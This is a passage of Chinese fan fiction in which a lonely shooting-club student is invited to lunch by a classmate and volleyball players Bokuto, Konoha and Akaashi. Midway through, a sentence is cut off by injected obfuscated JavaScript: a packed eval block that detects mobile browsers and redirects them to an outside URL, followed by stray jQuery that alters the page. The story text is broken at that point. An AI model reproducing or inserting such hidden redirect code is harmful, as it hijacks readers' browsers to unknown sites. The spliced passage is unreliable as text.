“因为我刚刚输掉了比赛。”
过去的我永远也想不到,为了避免尴尬,我居然开始利用起别人的同情心了。
哪怕这是我最讨厌的东西。
但为了找个理由搪塞过去,我本不聪明的脑瓜,灵机一动之下,只能转出这个不算办法的办法。
“诶?”
他瞪大了双眼,随后那双圆而呆愣的眼睛里只剩下一片空白。
莫名觉得自己扳回了一局是怎么回事...
“那...我是不是应该跟你道歉?”
这种事应该问需要道歉的对象吗?
听上去有点自相矛盾,但我不需要他的道歉。
我摇了摇头。
“不用了”做完这个动作,我意识到自己手上还捏着作为午餐的三明治,还好它本来就是冷掉的,所以一时半会的闲聊也耽误不了什么。
“要是没事的话,我就先去用午饭了。”
我抬手示意,很快我就发现,在旁人看来,这个动作会显得我不大聪明。
所以我又愣愣地将被我举起的三明治放回膝盖上,两手松松地捏着,等待挡住去路的人让出一条道。
令我没想到的是,这个举动反倒让他的注意力落在了这个无关紧要的三明治上,于是话题就变成了——
“你就吃这个吗?”
“?”顺着他的视线,我看到那个因为我的动作留下几个指痕的三明治“...有什么问题吗?”
“虽然我知道每个人的饭量是不一样的,但是这个也太少了吧?啊,还是应该说太小了?因为是一个三明治。”
“难道说...两个会比较好?”
我试着跟上他的思路。
“对我来说的话,就算三个也不一定够。但是两个总比一个好...所以、嗯!没错!”
“那果然还是‘太少了’——吧。”我试着总结点什么。
话音刚落,就听到前桌的户羽‘吭哧’一声笑了出来。
我和木兔对视一眼后,不明所以地看到她缓缓转过头,略带尴尬地一边道歉,一边解释:
“抱歉,中岛同学跟木兔同学的对话太有意思了,不小心就——”
你看上去完全没有很不好意思啊。
奇怪的是,她看上去也没有恶意,所以现在还挂在嘴边的微笑是...
真的觉得我跟木兔的对话很好笑?
我又看回站在座位旁边的人,碰巧他也低下了头,这次他看的不是三明治。
没什么好心虚的。
没错,这次我没什么好心虚的。
但是总得有一个人回应户羽同学的道歉吧?对吧。
于是我又偏过头,看向眼神在我和木兔之间来回打转,逐渐微妙起来的户羽同学:
“没关系。我不介意。”
像是被我提醒了什么,木兔也随之回复:
“啊,我也不介意。完全没关系。”
“那真是太好了”户羽同学脸上的笑容扩大了,然后她不再看向木兔,而是将注意力放在我身上:“那个,中岛同学,不介意的话可以和你一起去用午餐吗?”
“我吗?”因为太过震惊,我做出了愚蠢的反应——伸出食指指了指自己。
“你确定吗?”还说了蠢话。
“有...什么问题吗?”
不止是向我发出邀请的户羽同学,木兔看上去也很好奇我为什么会这么问,但他只是用写满疑惑的表情看着我,并没有和户羽同学一样问出声。
诶...这种事该怎么解释。
难道要我亲口说出“我没有朋友所以才总是一个人吃饭你跟我一起小心也落得跟我一样的下场”——这样的话吗?
这也太惨了点吧。连我都要忍不住可怜可怜我自己了。
为了让自己听起来不那么可悲,我还是想到了其他借口:
“我的意思是,户羽同学平时不都是跟中野同学一起吗?”
原本只是侧身过来找我搭话的户羽,不知道为什么,整个人完全转了过来,一脸正色地端坐在我面前,背对着那张属于她的课桌。
而她眼中不加掩饰的好奇和讶异几乎快要溢出,
“中岛同学怎么知道?我还以为你不关心射击之外的事情...”很快,她意识到自己说错了话“抱歉,不是说中岛同学你——”
“我明白”我勉强挤出一个不熟练的微笑以示安抚“而且,你说得也没错。”
只是最近这段时间,我也开始将注意力投放到周围人身上了。
然后才有了这些不同寻常的发现,比如坐在前面的户羽同学总是跟中野同学一起行动,后者会在午餐时间或者放学以后来到户羽同学的座位旁边,随后两人就会一边聊着那些逗笑对方的话题,一边挽着手臂离开。
又比如,木兔的队友会在路过这间教室的时候叫上他一起去学生餐厅,或者去训练,当然,后面那种情况发生的次数会少很多,因为大多数时候,不用任何人提醒或者呼唤,木兔自己就会迫不及待地离开教室,目的地当然是排球部。
但我也能理解户羽同学为什么担心我会生气,可能那个‘除了射击什么都不关心的人’在大家看来,不说孤僻,至少也是相当冷漠的一个人吧。
这可完全误会我了。
用三岛由纪夫的话说,我不是‘拒绝世界’的那类人,相反,我是害怕被世界拒绝,才不敢擅自靠近其他人。
所以我是‘被世界拒绝’的那类人,从很早以前开始就是了。
看到我的反应,户羽明显放松了下来:
“小美...就是中野同学,小美她今天请假了,然后我看中岛同学你也是一个人,又难得跟你说上话,就想着要不要试着邀请你一起去吃午饭。不过你要是不习惯的话也不用勉强,哈哈...虽然和你同班一年了,但是第一次聊天就一起用餐什么的一般来说果然还是会尴尬的吧?所以中岛同学你不用顾虑我。”
户羽同学说了很多话,最后她也真的不好意思地屈起食指挠了挠脸颊,笑容也变得有些僵硬。
我没有贸然打断,因为我还不敢相信,居然真的有人愿意跟我一起做这种‘好朋友活动’——一起吃饭、打水、回家、外出游玩之类的事情。
还是主动邀请。
我也知道,如果把这种想法轻易说出来,很有可能会吓到只是抱着平常心来找我搭话的户羽同学。
一起行动的朋友有事没能来学校,看到落单的同学,机缘巧合之下邀请她一起吃饭,在大家看来应该是很正常的事情。
但对我来说,这种看似微不足道的小事,也有着非同一般的意义。
毕竟这是第一次啊。
第一次有人问我,要不要跟她一起去吃饭。
“我”我咽了咽喉咙,逼自己在户羽同学反悔之前握住她向我伸出的手——
“我也想跟户羽同学一起用午餐。”
说完,我紧张地等待她的反应,不出意料地,户羽同学微微瞪大了双眼,笑着朝我点头。
“那我呢?”默默站在一旁听完全程的木兔突然发问,虽然知道他不是故意模仿我刚才的动作,但不得不承认,当他一边用食指指向自己,一边说话时,简直毫无违和感——
“也带我一个吧,中岛。”
户羽同学又开始用奇怪的目光在我和木兔之间来回绕圈,是因为我在跟他说话吗?
除此之外,我还注意到木兔对我的称呼,跟一年前一样。
我想起之前那次值日,他叫住我的时候,用的也是这样的叫法,像是默认我们的关系还停留在刚认识的那段时间。
但现在比起木兔,户羽同学的注视反倒让我更无所适从,于是我又抬头看向说话的人:
“可是...”
这次还真不是我有意躲他,而是就像我说的,他不是也有平时一起吃饭的人吗?我可不觉得排球部的二年级会集体请假,更何况,就算没有同级的队友,不是还有一位‘Akaashi’吗?
就在我还在犹豫要不要把这个刚刚在户羽同学那里用过一次的问句再问
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447227|169436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一遍的时候,教室门口传来木兔的名字——
“喂,木兔,你在那边干什么呢?去吃饭咯。”
话说这是什么叫法...是木兔的妈妈吗?
这位排球部为数不多留有刘海的同学不论是从年龄,还是性别分属上都不可能成为谁的母亲,至于他为什么会给人留下这种印象,我猜多半要归功于眼前之人。
听到有人叫自己,木兔下意识转头回应——
“木叶,你要跟我们一起吗?”
我们?
没猜错的话,这个我们说的不会是...
户羽同学也猜到了我在想什么,她点点头:
没错,就是你想的那样。
哈?
难道我刚刚不小心答应他了?一想到这,我完全陷入了自我怀疑,经不起如此烧脑的考验的大脑也彻底宕机。
而当我好不容易重启这套年纪轻轻就不中用的认知系统,重新回到物质世界时,我发现自己正和户羽同学并排走在去往学生餐厅的路上——
前面有好几个不认识的人。
不,也不能说完全不认识。
比如说刚刚那位排球部唯一留有刘海的同学,呃,一直这样称呼别人也太不礼貌了,而且木兔刚才好像叫过他的名字,好像是——
“刘海...”
“中岛你果然也注意到了?其实我也一直想说来着,就算算上三年级和一年级,留刘海的人也只有你一个呢,木叶。”
“不用强调‘只有你一个’——这一点啦,我又不是为了和别人不一样才...不,说到底,有刘海这件事本身也没什么奇怪的吧,你看——”
木叶(终于记住名字了)回过头,看了看我——
为了不遮挡视线,我从国中时期开始就没有再留过刘海。
注意到这一点的木叶又看向走在我旁边的户羽——
不巧,户羽同学也没有留刘海的习惯,自从我见到她的第一面开始,她就一直扎着一丝不苟的可爱丸子头,并且总是露出光洁的额头。户羽同学的动手能力很强,家政课上也表现突出
最后,他又不抱希望地左右各看了一眼走在两侧的其他人——这时我才发现,那位‘akaashi’也在,但我没能续上大脑宕机时的记忆,所以不知道他是一开始就在,还是像木兔一样,被排球部的人中途从不同的教室‘抓’来的。
和在观赛的那次一样,他又一次敏锐地捕捉到我的视线,出于礼貌,他没有打断木叶的发言,也是出于礼貌,他神色正经地对我点了点头,算作打招呼。
这让我想起了安部教练。
几乎是条件反射,我不由自主地挺直腰板,僵硬地点头回应。
...明明已经上二年级,甚至是快要升上高三的我,在一年级的同学面前居然还是这么没出息。
想到这里,我默默在心里叹了口气,表面还是装作无事发生的样子。
“真的假的,居然真的只有我留了刘海。”
木叶看上去有些难以接受。
木兔看起来倒是毫不在意。
当然了,毕竟他属于随大流的‘无刘海’人士。
“我要不要也留刘海试试看呢...”木兔若有所思地嘟囔着。
对不起,我忘了你是喜欢被注意到的那一挂。
不过...有刘海的木兔?
完全想象不出来。
“看来不是个好主意。”他突然总结。
这么快就得出结论了?
当我看过去的时候,木兔又变成了刚开始的样子,大步走在所有人前面,‘不适合刘海’这件事看上去完全没能给他造成任何困扰。
和走在他身后的其他人一样,当木兔不再回头的时候,我的视野里也只剩下他毫不犹豫的背影。
但我突然想起在赛场上看到的那个截然相反的木兔。
难道只有排球才会让他陷入消极?
出乎意料的是,不等我找到‘证据’验证这个猜想,那个‘陌生’的木兔就再次出现了。